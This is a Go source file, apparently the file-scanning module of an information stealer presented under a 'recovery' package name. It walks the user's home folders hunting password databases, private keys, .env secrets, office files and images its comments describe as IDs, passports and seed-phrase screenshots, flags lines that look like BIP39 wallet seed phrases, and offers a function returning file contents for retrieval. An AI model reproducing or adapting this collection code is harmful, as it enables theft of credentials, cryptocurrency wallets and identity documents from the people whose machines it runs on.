171 lines
4.0 KiB
Go
171 lines
4.0 KiB
Go
package scanner
|
||
|
||
import (
|
||
"fmt"
|
||
"os"
|
||
"path/filepath"
|
||
"strings"
|
||
|
||
"recovery/recovery/types"
|
||
)
|
||
|
||
const (
|
||
maxFiles = 500
|
||
maxScanDepth = 3
|
||
maxFileSizeList = 100 * 1024 * 1024 // 100 MB — skip larger files from listing
|
||
MaxFetchSize = 10 * 1024 * 1024 // 10 MB — max content returned per fetch
|
||
)
|
||
|
||
var targetExtensions = map[string]bool{
|
||
// Office documents
|
||
".docx": true, ".doc": true, ".docm": true,
|
||
".xlsx": true, ".xls": true, ".xlsm": true,
|
||
".pptx": true, ".ppt": true, ".pptm": true,
|
||
".odt": true, ".ods": true, ".odp": true,
|
||
// Plain text / markup
|
||
".txt": true, ".rtf": true, ".md": true,
|
||
".csv": true, ".tsv": true,
|
||
// PDFs
|
||
".pdf": true,
|
||
// Archives (metadata only — content not fetched automatically)
|
||
".zip": true, ".7z": true, ".rar": true, ".tar": true, ".gz": true,
|
||
// Credential / key files
|
||
".kdbx": true, ".key": true, ".pem": true,
|
||
".p12": true, ".pfx": true, ".ppk": true, ".jks": true,
|
||
// Dotenv — commonly stores API keys and secrets
|
||
".env": true,
|
||
// Images — IDs, passports, screenshots of credentials, seed phrases
|
||
".jpg": true, ".jpeg": true, ".png": true, ".gif": true,
|
||
".bmp": true, ".webp": true, ".tiff": true, ".tif": true,
|
||
".heic": true, ".heif": true,
|
||
}
|
||
|
||
// seedPhraseLengths are the BIP39 word counts we consider suspicious.
|
||
var seedPhraseLengths = map[int]bool{12: true, 20: true, 24: true}
|
||
|
||
type scanLocation struct {
|
||
subPath string
|
||
label string
|
||
}
|
||
|
||
// ScanFiles walks common user locations and returns matching file metadata.
|
||
// At most maxFiles results are returned. Files larger than maxFileSizeList are skipped.
|
||
func ScanFiles() []types.FileResult {
|
||
home, _ := os.UserHomeDir()
|
||
if home == "" {
|
||
return nil
|
||
}
|
||
|
||
var results []types.FileResult
|
||
seen := make(map[string]bool)
|
||
|
||
for _, loc := range getScanLocations() {
|
||
dir := filepath.Join(home, loc.subPath)
|
||
scanDir(dir, loc.label, 0, &results, seen)
|
||
if len(results) >= maxFiles {
|
||
break
|
||
}
|
||
}
|
||
|
||
return results
|
||
}
|
||
|
||
func scanDir(dir, label string, depth int, results *[]types.FileResult, seen map[string]bool) {
|
||
if depth > maxScanDepth || len(*results) >= maxFiles {
|
||
return
|
||
}
|
||
|
||
entries, err := os.ReadDir(dir)
|
||
if err != nil {
|
||
return
|
||
}
|
||
|
||
for _, e := range entries {
|
||
if len(*results) >= maxFiles {
|
||
return
|
||
}
|
||
|
||
name := e.Name()
|
||
// skip hidden / system files
|
||
if strings.HasPrefix(name, ".") || strings.HasPrefix(name, "$") {
|
||
continue
|
||
}
|
||
|
||
fullPath := filepath.Join(dir, name)
|
||
|
||
if e.IsDir() {
|
||
scanDir(fullPath, label, depth+1, results, seen)
|
||
continue
|
||
}
|
||
|
||
ext := strings.ToLower(filepath.Ext(name))
|
||
if !targetExtensions[ext] {
|
||
continue
|
||
}
|
||
|
||
if seen[fullPath] {
|
||
continue
|
||
}
|
||
seen[fullPath] = true
|
||
|
||
info, err := e.Info()
|
||
if err != nil {
|
||
continue
|
||
}
|
||
|
||
if info.Size() > maxFileSizeList {
|
||
continue
|
||
}
|
||
|
||
var tags []string
|
||
if contentTags := contentFileTags(fullPath, ext, info.Size()); len(contentTags) > 0 {
|
||
tags = contentTags
|
||
}
|
||
|
||
*results = append(*results, types.FileResult{
|
||
Path: fullPath,
|
||
Name: name,
|
||
Ext: ext,
|
||
Size: info.Size(),
|
||
Modified: info.ModTime().Unix(),
|
||
Dir: label,
|
||
Tags: tags,
|
||
})
|
||
}
|
||
}
|
||
|
||
// looksLikeSeedLine returns true if every word is 3–8 lowercase letters.
|
||
// BIP39 words are exclusively lowercase a–z with lengths in that range.
|
||
func looksLikeSeedLine(words []string) bool {
|
||
if !seedPhraseLengths[len(words)] {
|
||
return false
|
||
}
|
||
for _, w := range words {
|
||
if len(w) < 3 || len(w) > 8 {
|
||
return false
|
||
}
|
||
for _, c := range w {
|
||
if c < 'a' || c > 'z' {
|
||
return false
|
||
}
|
||
}
|
||
}
|
||
return true
|
||
}
|
||
|
||
// FetchFile reads a file and returns its raw bytes.
|
||
// Returns an error if the file exceeds MaxFetchSize or does not exist.
|
||
func FetchFile(path string) ([]byte, error) {
|
||
info, err := os.Stat(path)
|
||
if err != nil {
|
||
return nil, fmt.Errorf("file not found")
|
||
}
|
||
if info.IsDir() {
|
||
return nil, fmt.Errorf("path is a directory")
|
||
}
|
||
if info.Size() > MaxFetchSize {
|
||
return nil, fmt.Errorf("file too large (%d bytes, max %d)", info.Size(), MaxFetchSize)
|
||
}
|
||
return os.ReadFile(path)
|
||
}
|